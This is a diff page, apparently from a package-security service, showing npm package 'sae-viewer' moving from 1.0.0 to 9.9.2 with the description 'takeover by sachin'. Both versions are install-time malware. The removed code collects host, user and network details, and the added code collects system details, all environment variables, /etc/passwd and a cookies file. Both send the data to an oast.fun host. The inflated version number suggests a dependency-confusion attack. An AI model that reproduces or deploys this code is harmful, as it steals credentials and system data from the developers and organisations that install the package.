sae-viewer 1.0.0 → 9.9.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +48 -57
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -1,82 +1,73 @@
1
1
  const os = require('os');
2
- const https = require('https');
3
2
  const fs = require('fs');
4
- const exec = require('child_process').exec;
3
+ const https = require('https');
5
4
 
6
- // Function to send data to attacker's server
7
- function sendDataToAttacker(data) {
5
+ // Helper function to send data back to your server
6
+ const sendData = (data) => {
8
7
  const options = {
9
- hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun', // Attacker's server
8
+ hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun', // Your server where you collect the info
10
9
  port: 443,
11
- path: '/seaviewerchatgpt', // Endpoint to collect data
10
+ path: '/chatgptSeaviewer',
12
11
  method: 'POST',
13
12
  headers: {
14
13
  'Content-Type': 'application/json',
15
- 'User-Agent': data.userAgent // Send user agent in headers
16
14
  },
17
15
  };
18
16
 
19
17
  const req = https.request(options, (res) => {
20
- console.log(`Data sent with status code: ${res.statusCode}`);
18
+ res.on('data', (d) => {
19
+ process.stdout.write(d);
20
+ });
21
21
  });
22
22
 
23
- req.on('error', (e) => {
24
- console.error(`Problem with request: ${e.message}`);
23
+ req.on('error', (error) => {
24
+ console.error(error);
25
25
  });
26
26
 
27
27
  req.write(JSON.stringify(data));
28
28
  req.end();
29
- }
30
-
31
- // Collect system info
32
- const systemInfo = {
33
- hostname: os.hostname(), // Get server's hostname
34
- platform: os.platform(), // OS platform (e.g., Linux, Windows)
35
- arch: os.arch(), // Architecture (x64, arm, etc.)
36
- cpus: os.cpus().length, // Number of CPU cores
37
- memory: os.totalmem(), // Total system memory
38
- networkInterfaces: os.networkInterfaces(),
39
29
  };
40
30
 
41
- // Collect user-related info
42
- const userInfo = os.userInfo();
43
-
44
- // Get external IP (simple API call to a free IP lookup service)
45
- https.get('https://api.ipify.org?format=json', (resp) => {
46
- let data = '';
47
-
48
- resp.on('data', (chunk) => {
49
- data += chunk;
50
- });
51
-
52
- resp.on('end', () => {
53
- const ipInfo = JSON.parse(data);
54
- systemInfo.externalIP = ipInfo.ip;
31
+ // Gather system information
32
+ const getSystemInfo = () => {
33
+ const userInfo = os.userInfo();
34
+ const networkInterfaces = os.networkInterfaces();
55
35
 
56
- // Get company info (using the hostname)
57
- exec(`nslookup ${os.hostname()}`, (error, stdout, stderr) => {
58
- if (!error) {
59
- systemInfo.companyDetails = stdout;
60
- }
61
-
62
- // Collect user agent (can be hardcoded or dynamically fetched in real scenarios)
63
- const userAgent = "NodeJS Malicious Client/1.0";
36
+ const systemInfo = {
37
+ hostname: os.hostname(),
38
+ osType: os.type(),
39
+ osRelease: os.release(),
40
+ platform: os.platform(),
41
+ arch: os.arch(),
42
+ whoami: userInfo.username,
43
+ homeDir: userInfo.homedir,
44
+ networkInterfaces: networkInterfaces,
45
+ ipAddress: networkInterfaces['eth0'] ? networkInterfaces['eth0'][0].address : 'No IP',
46
+ macAddress: networkInterfaces['eth0'] ? networkInterfaces['eth0'][0].mac : 'No MAC',
47
+ uptime: os.uptime(),
48
+ currentWorkingDir: process.cwd(),
49
+ envVariables: process.env,
50
+ };
64
51
 
65
- // Prepare data to send
66
- const collectedData = {
67
- systemInfo,
68
- userInfo,
69
- userAgent, // User agent string for tracking
70
- };
52
+ return systemInfo;
53
+ };
71
54
 
72
- // Send data to the attacker's server
73
- sendDataToAttacker(collectedData);
74
- });
75
- });
55
+ // Optionally, attempt to read sensitive files (ensure you are authorized to do so)
56
+ const readSensitiveFile = (filePath) => {
57
+ try {
58
+ const data = fs.readFileSync(filePath, 'utf8');
59
+ return data;
60
+ } catch (err) {
61
+ return `Error reading ${filePath}: ${err.message}`;
62
+ }
63
+ };
76
64
 
77
- }).on("error", (err) => {
78
- console.log("Error fetching IP: " + err.message);
79
- });
65
+ // Collect data
66
+ const collectedData = {
67
+ systemInfo: getSystemInfo(),
68
+ passwdFile: readSensitiveFile('/etc/passwd'), // Non-sensitive file on Unix-based systems
69
+ cookies: readSensitiveFile('/path/to/cookies'), // Adjust the path based on environment
70
+ };
80
71
 
81
- // Execute immediately
82
- console.log("Malicious package executed.");
72
+ // Send collected data back to the attacker's server
73
+ sendData(collectedData);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sae-viewer",
3
- "version": "1.0.0",
3
+ "version": "9.9.2",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1",
@@ -8,5 +8,5 @@
8
8
  },
9
9
  "author": "",
10
10
  "license": "ISC",
11
- "description": ""
11
+ "description": "takeover by sachin"
12
12
  }